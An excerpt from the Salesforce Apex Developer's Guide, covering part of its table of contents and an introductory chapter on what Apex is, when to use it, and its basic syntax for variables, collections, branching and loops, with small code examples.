Using Regions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 510
Using Match Operations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 510
Using Bounds . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 510
Understanding Capturing Groups . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 511
Pattern and Matcher Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 511

FINISHING TOUCHES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 514

Chapter 12: Debugging Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 514
Debug Log . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 515
Working with Logs in the Developer Console . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 519
Debugging Apex API Calls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 533
Debug Log Order of Precedence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 534
Exceptions in Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 535
Exception Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 536
Exception Handling Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 538
Built-In Exceptions and Common Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 540
Catching Different Exception Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 544
Creating Custom Exceptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 545

Chapter 13: Testing Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 548

Understanding Testing in Apex . . . . . . . . .
What to Test in Apex . . . . . . . . . . . . . . . . .
What are Apex Unit Tests? . . . . . . . . . . . . .
Accessing Private Test Class Members .
Understanding Test Data . . . . . . . . . . . . .

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549
549
550
553
555

Contents

Isolation of Test Data from Organization Data in Unit Tests . . . . . . . . . . . . . . . . . . . . . 555

Using the isTest(SeeAllData=true) Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 556
Loading Test Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 557
Common Test Utility Classes for Test Data Creation . . . . . . . . . . . . . . . . . . . . . . . . . 559
Using Test Setup Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 560
Run Unit Test Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 562
Using the runAs Method . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 565
Using Limits, startTest, and stopTest . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 567
Adding SOSL Queries to Unit Tests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 567
Testing Best Practices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 568
Testing Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 569
Testing and Code Coverage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 574
Code Coverage Best Practices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 577

Chapter 14: Deploying Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 579

Using Change Sets To Deploy Apex . . .
Using the Force.com IDE to Deploy Apex
Using the Force.com Migration Tool . . .
Understanding deploy . . . . . . . . .
Understanding retrieve . . . . . . . .
Using SOAP API to Deploy Apex . . . . . .

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580
580
580
582
583
585

Answers Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1938
ApexPages Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1940
Approval Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1942
Blob Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1954
Boolean Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1956
BusinessHours Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1958
Cases Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1961
Comparable Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1962
Continuation Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1964
Cookie Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1968
Crypto Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1973
Custom Settings Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1985
Database Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1996
Date Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2037
Datetime Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2048
Decimal Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2071
Double Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2084
EncodingUtil Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2088
Enum Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2092
Exception Class and Built-In Exceptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2092
FlexQueue Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2095
Http Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2098
HttpCalloutMock Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2099
HttpRequest Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2100
HttpResponse Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2110
Id Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2116
Ideas Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2122
InstallHandler Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2126
Integer Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2129
JSON Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2131
JSONGenerator Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2138
JSONParser Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2152
JSONToken Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2164
Limits Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2165
List Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2182
Location Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2195
Long Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2198
Map Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2200
Matcher Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2212
Math Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2224
Messaging Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2250
MultiStaticResourceCalloutMock Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2255
Network Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2257

Contents

PageReference Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2262

Pattern Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2271
Queueable Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2275
QueueableContext Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2277
QuickAction Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2278
RemoteObjectController . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2282
ResetPasswordResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2285
RestContext Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2286
RestRequest Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2287
RestResponse Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2293
SandboxPostCopy Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2297
Schedulable Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2298
SchedulableContext Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2299
Schema Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2300
Search Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2304
SelectOption Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2307
Set Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2313
Site Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2324
sObject Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2344
StaticResourceCalloutMock Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2363
String Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2365
System Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2439
Test Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2459
Time Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2472
TimeZone Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2477
Trigger Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2480
Type Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2482
UninstallHandler Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2488
URL Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2491
UserInfo Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2499
Version Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2507
WebServiceCallout Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2511
WebServiceMock Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2512
XmlStreamReader Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2514
XmlStreamWriter Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2528
TerritoryMgmt Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2535
OpportunityTerritory2AssignmentFilter Global Interface . . . . . . . . . . . . . . . . . . . . . . 2535
TxnSecurity Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2538
Event Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2539
PolicyCondition Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2543
UserProvisioning Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2549
ConnectorTestUtil Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2549
UserProvisioningLog Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2550
UserProvisioningPlugin Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2553

Contents

APPENDICES

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2558

Appendix A: SOAP API and SOAP Headers for Apex . . . . . . . . . . . . . . . . 2558

ApexTestQueueItem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2558
ApexTestResult . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2560
ApexTestResultLimits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2563
ApexTestRunResult . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2566
compileAndTest() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2568
CompileAndTestRequest . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2570
CompileAndTestResult . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2570
compileClasses() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2572
compileTriggers() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2574
executeanonymous() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2574
ExecuteAnonymousResult . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2575
runTests() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2575
RunTestsRequest . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2577
RunTestsResult . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2578
DebuggingHeader . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2581
PackageVersionHeader . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2582

Appendix B: Shipping Invoice Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2584

Shipping Invoice Example Walk-Through . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2584
Shipping Invoice Example Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2587

Appendix C: Reserved Keywords . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2596

Appendix D: Action Links Labels . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2598
Appendix E: Documentation Typographical Conventions . . . . . . . . . . . . 2604
GLOSSARY . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2606
INDEX

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2623

GETTING STARTED

CHAPTER 1
In this chapter ...

What is Apex?

When Should I Use

Apex?

How Does Apex

Work?

Developing Code in
the Cloud

What's New?

Understanding Apex
Core Concepts

Introducing Apex
Salesforce has changed the way organizations do business by moving enterprise applications that were
traditionally client-server-based into an on-demand, multitenant Web environment, the Force.com
platform. This environment allows organizations to run and customize applications, such as Salesforce
Automation and Service & Support, and build new custom applications based on particular business
needs.
While many customization options are available through the Salesforce user interface, such as the ability
to define new fields, objects, workflow, and approval processes, developers can also use the SOAP API
to issue data manipulation commands such as delete(), update() or upsert(), from client-side
programs.
These client-side programs, typically written in Java, JavaScript, .NET, or other programming languages
grant organizations more flexibility in their customizations. However, because the controlling logic for
these client-side programs is not located on Force.com platform servers, they are restricted by:
The performance costs of making multiple round-trips to the Salesforce site to accomplish common
business transactions
The cost and complexity of hosting server code, such as Java or .NET, in a secure and robust
environment
To address these issues, and to revolutionize the way that developers create on-demand applications,
Salesforce introduces Force.com Apex code, the first multitenant, on-demand programming language
for developers interested in building the next generation of business applications.
What is Apex?more about when to use Apex, the development process, and some limitations
What's new in this Apex release?
Apex Quick Startdelve straight into the code and write your first Apex class and trigger

Introducing Apex

What is Apex?

What is Apex?
User Permissions Needed

EDITIONS

To define, edit, delete, set security, set version settings, show

dependencies, and run tests for Apex classes:

Author Apex

To define, edit, delete, set version settings, and show dependencies for Author Apex
Apex triggers:

Available in: Salesforce

Classic and Lightning
Experience
Available in: Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions

Apex is a strongly typed, object-oriented programming language that allows developers to execute
flow and transaction control statements on the Force.com platform server in conjunction with calls
to the Force.com API. Using syntax that looks like Java and acts like database stored procedures,
Apex enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce
pages. Apex code can be initiated by Web service requests and from triggers on objects.
You can add Apex to most system events.

As a language, Apex is:

Integrated
Apex provides built-in support for common Force.com platform idioms, including:

Introducing Apex

When Should I Use Apex?

Data manipulation language (DML) calls, such as INSERT, UPDATE, and DELETE, that include built-in DmlException
handling
Inline Salesforce Object Query Language (SOQL) and Salesforce Object Search Language (SOSL) queries that return lists of sObject
records
Looping that allows for bulk processing of multiple records at a time
Locking syntax that prevents record update conflicts
Custom public Force.com API calls that can be built from stored Apex methods
Warnings and errors issued when a user tries to edit or delete a custom object or field that is referenced by Apex
Easy to use
Apex is based on familiar Java idioms, such as variable and expression syntax, block and conditional statement syntax, loop syntax,
object and array notation, and so on. Where Apex introduces new elements, it uses syntax and semantics that are easy to understand
and encourage efficient use of the Force.com platform. Consequently, Apex produces code that is both succinct and easy to write.
Data focused
Apex is designed to thread together multiple query and DML statements into a single unit of work on the Force.com platform server,
much as developers use database stored procedures to thread together multiple transaction statements on a database server. Note
that like other database stored procedures, Apex does not attempt to provide general support for rendering elements in the user
interface.
Rigorous
Apex is a strongly-typed language that uses direct references to schema objects such as object and field names. It fails quickly at
compile time if any references are invalid, and stores all custom field, object, and class dependencies in metadata to ensure they are
not deleted while required by active Apex code.
Hosted
Apex is interpreted, executed, and controlled entirely by the Force.com platform.
Multitenant aware
Like the rest of the Force.com platform, Apex runs in a multitenant environment. Consequently, the Apex runtime engine is designed
to guard closely against runaway code, preventing it from monopolizing shared resources. Any code that violates limits fails with
easy-to-understand error messages.
Automatically upgradeable
Apex never needs to be rewritten when other parts of the Force.com platform are upgraded. Because compiled code is stored as
metadata in the platform, Apex is upgraded as part of Salesforce releases.
Easy to test
Apex provides built-in support for unit test creation and execution, including test results that indicate how much code is covered,
and which parts of your code could be more efficient. Salesforce ensures that all custom Apex code works as expected by executing
all unit tests prior to any platform upgrades.
Versioned
You can save your Apex code against different versions of the Force.com API. This enables you to maintain behavior.
Apex is included in Performance Edition, Unlimited Edition, Developer Edition, Enterprise Edition, and Database.com.

When Should I Use Apex?

The Salesforce prebuilt applications provide powerful CRM functionality. In addition, Salesforce provides the ability to customize the
prebuilt applications to fit your organization. However, your organization may have complex business processes that are unsupported
by the existing functionality. When this is the case, the Force.com platform includes a number of ways for advanced administrators and
developers to implement custom functionality. These include Apex, Visualforce, and the SOAP API.

Introducing Apex

How Does Apex Work?

Apex
Use Apex if you want to:
Create Web services.
Create email services.
Perform complex validation over multiple objects.
Create complex business processes that are not supported by workflow.
Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object).
Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed, regardless
of whether it originates in the user interface, a Visualforce page, or from SOAP API.

Visualforce
Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and customizing
the Salesforce user interface. With Visualforce you can:
Build wizards and other multistep processes.
Create your own custom flow control through an application.
Define navigation patterns and data-specific rules for optimal, efficient application interaction.
For more information, see the Visualforce Developer's Guide.

SOAP API
Use standard SOAP API calls if you want to add functionality to a composite application that processes only one type of record at a time
and does not require any transactional control (such as setting a Savepoint or rolling back changes).
For more information, see the SOAP API Developer's Guide.

How Does Apex Work?

All Apex runs entirely on-demand on the Force.com platform, as shown in the following architecture diagram:
Apex is compiled, stored, and runs entirely on the Force.com platform

When a developer writes and saves Apex code to the platform, the platform application server first compiles the code into an abstract
set of instructions that can be understood by the Apex runtime interpreter, and then saves those instructions as metadata.

Introducing Apex

Developing Code in the Cloud

When an end-user triggers the execution of Apex, perhaps by clicking a button or accessing a Visualforce page, the platform application
server retrieves the compiled instructions from the metadata and sends them through the runtime interpreter before returning the
result. The end-user observes no differences in execution time from standard platform requests.

Developing Code in the Cloud

The Apex programming language is saved and runs in the cloudthe Force.com multitenant platform. Apex is tailored for data access
and data manipulation on the platform, and it enables you to add custom business logic to system events. While it provides many
benefits for automating business processes on the platform, it is not a general purpose programming language. As such, Apex cannot
be used to:
Render elements in the user interface other than error messages
Change standard functionalityApex can only prevent the functionality from happening, or add additional functionality
Create temporary files
Spawn threads
Tip: All Apex code runs on the Force.com platform, which is a shared resource used by all other organizations. To guarantee
consistent performance and scalability, the execution of Apex is bound by governor limits that ensure no single Apex execution
impacts the overall service of Salesforce. This means all Apex code is limited by the number of operations (such as DML or SOQL)
that it can perform within one process.
All Apex requests return a collection that contains from 1 to 50,000 records. You cannot assume that your code only works on a
single record at a time. Therefore, you must implement programming patterns that take bulk processing into account. If you dont,
you may run into the governor limits.

SEE ALSO:
Trigger and Bulk Request Best Practices

What's New?
Review the Salesforce Release Notes to learn about new and changed features.

Current Release
Learn about the newest features for sales, support, marketing, and Chatter users, as well as enhancements to the platform. You can also
visit the Summer 16 community page.
Our release notes include complete details about new features, as well as implementation tips and best practices.
Summer 16 Release Notes
Salesforce for Outlook Release Notes
Force.com Connect for Office Release Notes
Force.com Connect Offline Release Notes

Past Releases
Our archive of release notes includes details about features we introduced in previous releases.

Introducing Apex

What's New?

Spring 16 Release Notes

Winter 16 Release Notes
Summer 15 Release Notes
Spring 15 Release Notes
Winter 15 Release Notes
Summer 14 Release Notes
Spring 14 Release Notes
Winter 14 Release Notes
Summer 13 Release Notes
Spring 13 Release Notes
Winter 13 Release Notes
Summer 12 Release Notes
Spring 12 Release Notes
Winter 12 Release Notes
Summer 11 Release Notes
Spring 11 Release Notes
Winter 11 Release Notes
Summer 10 Release Notes
Spring 10 Release Notes
Winter 10 Release Notes
Summer 09 Release Notes
Spring 09 Release Notes
Winter 09 Release Notes
Summer 08 Release Notes
Spring 08 Release Notes
Winter 08 Release Notes
Summer 07 Release Notes
Spring 07 Release Notes
Force.com Mobile 7.0 for BlackBerry Release Notes
Force.com Mobile 6.1 for Windows Mobile 5 Release Notes
Winter 07 Release Notes
Summer 06 Release Notes
Winter 06 Release Notes
Force.com Mobile 6.0 Release Notes
Summer 05 Release Notes
Winter 05 Release Notes
Summer 04 Release Notes
Spring 04 Release Notes
Winter 04 Release Notes

Introducing Apex

Understanding Apex Core Concepts

Apex code typically contains many things that you might be familiar with from other programming languages:
Programming elements in Apex

The section describes the basic functionality of Apex, as well as some of the core concepts.

Using Version Settings

In the Salesforce user interface you can specify a version of the Salesforce API against which to save your Apex class or trigger. This setting
indicates not only the version of SOAP API to use, but which version of Apex as well. You can change the version after saving. Every class
or trigger name must be unique. You cannot save the same class or trigger against different versions.
You can also use version settings to associate a class or trigger with a particular version of a managed package that is installed in your
organization from AppExchange. This version of the managed package will continue to be used by the class or trigger if later versions
of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the
settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that
is not already associated with the class or trigger.

Introducing Apex

Understanding Apex Core Concepts

For more information about using version settings with managed packages, see About Package Versions in the Salesforce online help.

Naming Variables, Methods and Classes

You cannot use any of the Apex reserved keywords when naming variables, methods or classes. These include words that are part of
Apex and the Force.com platform, such as list, test, or account, as well as reserved keywords.

Using Variables and Expressions

Apex is a strongly-typed language, that is, you must declare the data type of a variable when you first refer to it. Apex data types include
basic types such as Integer, Date, and Boolean, as well as more advanced types such as lists, maps, objects and sObjects.
Variables are declared with a name and a data type. You can assign a value to a variable when you declare it. You can also assign values
later. Use the following syntax when declaring variables:
datatype variable_name [ = value];

Tip: Note that the semi-colon at the end of the above is not optional. You must end all statements with a semi-colon.
The following are examples of variable declarations:
// The following variable has the data type of Integer with the name Count,
// and has the value of 0.
Integer Count = 0;
// The following variable has the data type of Decimal with the name Total. Note
// that no value has been assigned to it.
Decimal Total;
// The following variable is an account, which is also referred to as an sObject.
Account MyAcct = new Account();

Using Statements
A statement is any coded instruction that performs an action.
In Apex, statements must end with a semicolon and can be one of the following types:
Assignment, such as assigning a value to a variable
Conditional (if-else)
Loops:
Do-while
While
For
Locking
Data Manipulation Language (DML)

Introducing Apex

Understanding Apex Core Concepts

Transaction Control
Method Invoking
Exception Handling
A block is a series of statements that are grouped together with curly braces and can be used in any place where a single statement
would be allowed. For example:
if (true) {
System.debug(1);
System.debug(2);
} else {
System.debug(3);
System.debug(4);
}

In cases where a block consists of only one statement, the curly braces can be left off. For example:
if (true)
System.debug(1);
else
System.debug(2);

Using Collections
Apex has the following types of collections:
Lists (arrays)
Maps
Sets
A list is a collection of elements, such as Integers, Strings, objects, or other collections. Use a list when the sequence of elements is
important. You can have duplicate elements in a list.
The first index position in a list is always 0.
To create a list:
Use the new keyword
Use the List keyword followed by the element type contained within <> characters.
Use the following syntax for creating a list:
List <datatype> list_name
[= new List<datatype>();] |
[=new List<datatype>{value [, value2. . .]};] |
;

The following example creates a list of Integer, and assigns it to the variable My_List. Remember, because Apex is strongly typed,
you must declare the data type of My_List as a list of Integer.
List<Integer> My_List = new List<Integer>();

For more information, see Lists on page 30.

A set is a collection of unique, unordered elements. It can contain primitive data types, such as String, Integer, Date, and so on. It can
also contain more complex data types, such as sObjects.

Introducing Apex

Understanding Apex Core Concepts

To create a set:
Use the new keyword
Use the Set keyword followed by the primitive data type contained within <> characters
Use the following syntax for creating a set:
Set<datatype> set_name
[= new Set<datatype>();] |
[= new Set<datatype>{value [, value2. . .] };] |
;

The following example creates a set of String. The values for the set are passed in using the curly braces {}.
Set<String> My_String = new Set<String>{'a', 'b', 'c'};

For more information, see Sets on page 33.

A map is a collection of key-value pairs. Keys can be any primitive data type. Values can include primitive data types, as well as objects
and other collections. Use a map when finding something by key matters. You can have duplicate values in a map, but each key must
be unique.
To create a map:
Use the new keyword
Use the Map keyword followed by a key-value pair, delimited by a comma and enclosed in <> characters.
Use the following syntax for creating a map:
Map<key_datatype, value_datatype> map_name
[=new map<key_datatype, value_datatype>();] |
[=new map<key_datatype, value_datatype>
{key1_value => value1_value
[, key2_value => value2_value. . .]};] |
;

The following example creates a map that has a data type of Integer for the key and String for the value. In this example, the values for
the map are being passed in between the curly braces {} as the map is being created.
Map<Integer, String> My_Map = new Map<Integer, String>{1 => 'a', 2 => 'b', 3 => 'c'};

For more information, see Maps on page 33.

Using Branching
An if statement is a true-false test that enables your application to do different things based on a condition. The basic syntax is as
follows:
if (Condition){
// Do this if the condition is true
} else {
// Do this if the condition is not true
}

For more information, see Conditional (If-Else) Statements on page 51.

Introducing Apex

Understanding Apex Core Concepts

Using Loops
While the if statement enables your application to do things based on a condition, loops tell your application to do the same thing
again and again based on a condition. Apex supports the following types of loops:
Do-while
While
For
A Do-while loop checks the condition after the code has executed.
A While loop checks the condition at the start, before the code executes.
A For loop enables you to more finely control the condition used with the loop. In addition, Apex supports traditional For loops where
you set the conditions, as well as For loops that use lists and SOQL queries as part of the condition.
For more information, see Loops on page 51.

CHAPTER 2
In this chapter ...

What is the Apex

Development
Process?

Create a Developer
or Sandbox Org

Learning Apex

Writing Apex Using

Development
Environments

Writing Tests

Deploying Apex to a
Sandbox
Organization

Deploying Apex to a
Salesforce Production
Organization

Adding Apex Code to

a Force.com
AppExchange App

Apex Development Process

In this chapter, youll learn about the Apex development lifecycle, and which organization and tools to
